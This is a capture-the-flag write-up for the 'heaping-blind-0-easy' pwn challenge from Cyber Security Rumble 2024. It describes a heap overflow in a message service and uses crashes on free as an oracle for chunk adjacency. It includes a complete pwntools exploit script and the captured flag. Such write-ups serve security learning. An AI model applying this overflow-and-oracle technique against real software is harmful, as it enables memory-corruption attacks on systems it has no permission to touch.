..

csr24 - heaping-blind-0-easy

TL;DR: Allocate two consecutive chunks and overwrite from the first into the second. Check if freeing the second gives an error. If there is an error you know that nothing is in between those chunks.

Overview

  • CTF: Cyber Security Rumble 2024
  • Challenge name: heaping-blind-0-easy
  • Category: pwn
  • Points: 100
  • ctf-files
  • exploit

Challenge

Connecting to the (main) port with netcat:

% nc localhost 13360
listening on port 42311

Connecting to the now printed port with netcat:

% nc localhost 42311
Welcome to the secret message service.

1: Write a short message
2: Write a long message
3: Send a message
4: Submit answer
5: exit
>

Here we can choose what we want to do. Looking into the code we can see that the flag is printed when option 4 is chosen and round >= NUM_ROUNDS (=32). round is incremented at the bottom of the main method, when the child process returns the correct exit status. This happens when we provide the correct answer to “Are both chunks adjacent?” in option 4. So to get a flag we have to guess 32 times correct if the chunks are adjacent or not.

Adjacent chunks?

The possibly adjacent chunks (first and second) are created at the start of main along with some more chunks. And there can be two different heap layouts at the start of the program. Which one is chosen is random.

| random | 0x40  | 0x40   | random |
| start  | first | second | end    |

and

| random | 0x40  | 0x28   | 0x40   | random |
| start  | first | spacer | second | end    |

It’s import to note here that we can free chunks if we choose option 3 (Send a message) and provide the message index. The chunks/messages first and second have a message index as they are stored in the messages array.

How do we know?

When writing a short message with option 1 we can overflow the allocated chunk as the created chunk has a size of 64 and we are able to write 0x64 bytes into this chunk. This gives us an overflow of 36 bytes.

This means that if we can write from first to second the second chunk should be corrupted. When freeing second this should throw an error. However if the spacer chunk is present we don’t corrupt second and freeing this chunk should not throw an error. Now we have an oracle.

Setup

  1. free first
  2. allocate into first and possibly corrupt second
  3. free second
  4. error -> connection closes / no error -> connection stays open

Exploit

import pwn

pwn.context.log_level = 'error'
host = 'heaping-blind.rumble.host'

def main(): 
    pm = pwn.remote(host, 13360, fam='ipv4')
    
    for i in range(32):
        port = int(pm.recvline(timeout=1).split(b' ')[-1].replace(b'\n', b''))
        ps = pwn.remote(host, port, fam='ipv4')

        # free first
        ps.sendlineafter(b'>', b'3')
        ps.sendlineafter(b'index of the message:', b'0')

        # alloc into first and possibly corrupt second
        ps.sendlineafter(b'>', b'1')
        ps.sendlineafter(b'short message:', 0x49 * b'A')

        # free second
        try:
            ps.sendlineafter(b'>', b'3')
            ps.sendlineafter(b'index of the message:', b'1')
            # free worked so spacer chunk is there
            ps.sendlineafter(b'>', b'4')
            ps.sendlineafter(b'adjacent?', b'0')
        except EOFError:
            # free didn't work so spacer chunk isn't there
            ps = pwn.remote(host, port, fam='ipv4')
            ps.sendlineafter(b'>', b'4')
            ps.sendlineafter(b'adjacent?', b'1')

	# print flag
    print(ps.recvall(timeout=1).decode())


if __name__ == '__main__':
    main()

Flag: CSR{Adj4c3n7_chunk5_4r3_r34lly_h3lpfull_f0r_buff3r_0v3rfl0w_b4s3d_h34p_3xpl0i7a7i0n}